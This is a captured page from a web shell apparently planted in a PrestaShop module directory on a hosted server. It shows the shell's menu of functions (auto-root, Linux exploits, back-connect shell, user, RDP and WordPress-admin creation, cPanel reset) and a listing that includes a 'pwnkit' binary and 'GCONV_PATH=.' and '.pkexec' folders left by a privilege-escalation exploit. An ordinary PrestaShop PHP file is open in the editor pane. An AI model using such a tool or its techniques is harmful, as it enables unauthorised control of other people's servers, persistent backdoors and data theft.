Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.61
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
modules /
ps_metrics /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Adapter
[ DIR ]
drwx---r-x
Api
[ DIR ]
drwx---r-x
Cache
[ DIR ]
drwx---r-x
Context
[ DIR ]
drwx---r-x
Data
[ DIR ]
drwx---r-x
Environment
[ DIR ]
drwx---r-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
GraphQL
[ DIR ]
drwx---r-x
Handler
[ DIR ]
drwx---r-x
Helper
[ DIR ]
drwx---r-x
Kpi
[ DIR ]
drwx---r-x
Middleware
[ DIR ]
drwx---r-x
Module
[ DIR ]
drwx---r-x
Presenter
[ DIR ]
drwx---r-x
Provider
[ DIR ]
drwx---r-x
Repository
[ DIR ]
drwx---r-x
Tracker
[ DIR ]
drwx---r-x
Translation
[ DIR ]
drwx---r-x
Validation
[ DIR ]
drwx---r-x
.DS_Store
6
KB
-rw----r--
.mad-root
0
B
-rw-r--r--
StatsTabManager.php
4
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
index.php
1.1
KB
-rw----r--
package-lock.json
27
B
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : StatsTabManager.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Academic Free License version 3.0 * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/AFL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/AFL-3.0 Academic Free License version 3.0 */ namespace PrestaShop\Module\Ps_metrics; use PrestaShop\PsAccountsInstaller\Installer\Exception\ModuleNotInstalledException; use PrestaShop\PsAccountsInstaller\Installer\Exception\ModuleVersionException; use PrestaShop\PsAccountsInstaller\Installer\Facade\PsAccounts; class StatsTabManager { /** * @var \Ps_metrics */ private $module; /** * @var PsAccounts */ private $psAccountsFacade; /** * StatsTabManager constructor. * * @param \Ps_metrics $module */ public function __construct( \Ps_metrics $module, PsAccounts $psAccountsFacade ) { $this->module = $module; $this->psAccountsFacade = $psAccountsFacade; } /** * Disable legacy stats controller and enable metrics controller instead * * @return bool * * @throws ModuleNotInstalledException * @throws ModuleVersionException */ public function install() { $psAccountsService = $this->psAccountsFacade->getPsAccountsService(); if (!$psAccountsService->isAccountLinked()) { return true; } return $this->toggleLegacyStatsController(false) && $this->enableMetricsController(); } /** * Enable back legacy stats controller and delete metrics controller * * @return bool */ public function uninstall() { return $this->toggleLegacyStatsController(true) && $this->deleteMetricsController(); } /** * Enable or disable legacy stats controller * * @param mixed $bool * * @return bool * * @throws \PrestaShopException * @throws \PrestaShopDatabaseException */ private function toggleLegacyStatsController($bool) { $legacyStatsTab = new \Tab(\Tab::getIdFromClassName('AdminStats')); $legacyStatsTab->active = $bool; $legacyStatsTab->save(); return $legacyStatsTab->save(); } /** * Create and active metrics stats controller * * @return bool * * @throws \PrestaShopException * @throws \PrestaShopDatabaseException * @throws \Exception */ private function enableMetricsController() { $legacyStatsTab = new \Tab(\Tab::getIdFromClassName('AdminStats')); $metricsTab = \Tab::getIdFromClassName($this->module->metricsStatsController); if ($metricsTab) { $tab = new \Tab($metricsTab); } else { $tab = new \Tab(); } $tab->name = $legacyStatsTab->name; $tab->class_name = $this->module->metricsStatsController; $tab->active = true; if ((bool) version_compare(_PS_VERSION_, '1.7.1', '>=')) { $tab->icon = 'assessment'; } $tab->module = $this->module->name; $tab->id_parent = $legacyStatsTab->id_parent; return $tab->save(); } /** * Remove metrics stats controller * * @return bool * * @throws \PrestaShopException * @throws \PrestaShopDatabaseException */ private function deleteMetricsController() { $metricsTab = new \Tab(\Tab::getIdFromClassName($this->module->metricsStatsController)); return $metricsTab->delete(); } }
Close